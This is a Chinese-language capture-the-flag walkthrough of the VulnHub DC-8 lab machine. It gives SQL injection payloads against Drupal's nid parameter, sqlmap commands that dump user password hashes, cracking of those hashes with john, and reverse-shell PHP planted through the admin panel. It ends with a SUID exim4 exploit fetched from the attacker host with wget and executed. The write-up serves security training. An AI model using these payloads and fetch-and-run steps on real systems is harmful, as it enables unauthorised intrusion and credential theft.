一、介绍
运行环境:Virtualbox
攻击机:kali(10.0.2.15)
靶机:DC8(10.0.2.61)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/dc-8,367/
二、信息收集
使用nmap主机发现靶机ip:10.0.2.61
使用nmap端口扫描发现靶机开放端口:22、80
nmap -A 10.0.2.61 -p 1-65535
打开网站发现是drupal cms
使用droopescan工具探测drupal的版本为7.67
droopescan scan -u http://10.0.2.61
也可以直接访问CHANGELOG.txt
文件查看版本信息:http://10.0.2.61/CHANGELOG.txt
使用命令searchsploit Drupal 7.67
搜索Drupal 7.67的历史漏洞,都尝试一遍发现利用不了
查看网站发现?nid=1
字段,可以试试是否存在sql注入漏洞
http://10.0.2.61/?nid=1
直接输入反斜杠,出现数据库报错信息,存在sql注入
三、漏洞利用
可以尝试报错注入
获取数据库名:
http://10.0.2.61/?nid=1111 and updatexml(1,concat(0x7e,(database()),0x7e),1)
获取表名:
http://10.0.2.61/?nid=1111 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
发现进行报错注入时,会出现由于数据的数量过多导致无法一次性显示所有内容
可以使用mid函数获取完整的数据,MID 函数用于从文本字段中提取字符。
mid函数,第一个参数是要提取的表名,第二个参数为起始位置,第三个参数为返回的字符个数
获取表名:
http://10.0.2.61/?nid=1111 and updatexml(1,concat(0x7e,mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)
由于这个库的表太多了,我直接使用sqlmap跑了,发现users表
sqlmap -u http://10.0.2.61/?nid=1 -D d7db --tables
获取users表的内容
sqlmap -u http://10.0.2.61/?nid=1 -D d7db -T users --dump
发现两组用户名密码,其中密码被加密了
admin:$S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z
john:$S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF
将两个密码字段复制到文件passwd.txt,使用john工具暴力破解密码,得到:john:turtle
john --wordlist=/usr/share/wordlists/rockyou.txt passwd.txt
使用爆破得到的用户名密码登录网站
登录后查看网站后台各个功能点,发现可以执行php代码的地方
直接在里面添加反弹shell的php代码并保存
在首页联系我们处添加数据,点击提交即可执行反弹shell的php代码,反弹shell
获取交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
四、提权
执行命令find / -perm -u=s -type f 2>/dev/null
查看一下具有SUID
权限的二进制可执行文件,发现/usr/sbin/exim4
查看一下exim4的版本exim4 --version
,为4.89
使用searchsploit搜索exim的历史漏洞,看看也没有可利用的
searchsploit exim
发现应该符合版本的本地提权漏洞,将该漏洞的exp下载下来,上传到靶机执行
主机执行:
searchsploit -m linux/local/46996.sh
mv 46996.sh /var/www/html/46996.sh
service apache2 start
靶机执行:
cd /tmp
wget http://10.0.2.15/46996.sh
chmod 777 46996.sh
./46996.sh -m netcat
查看flag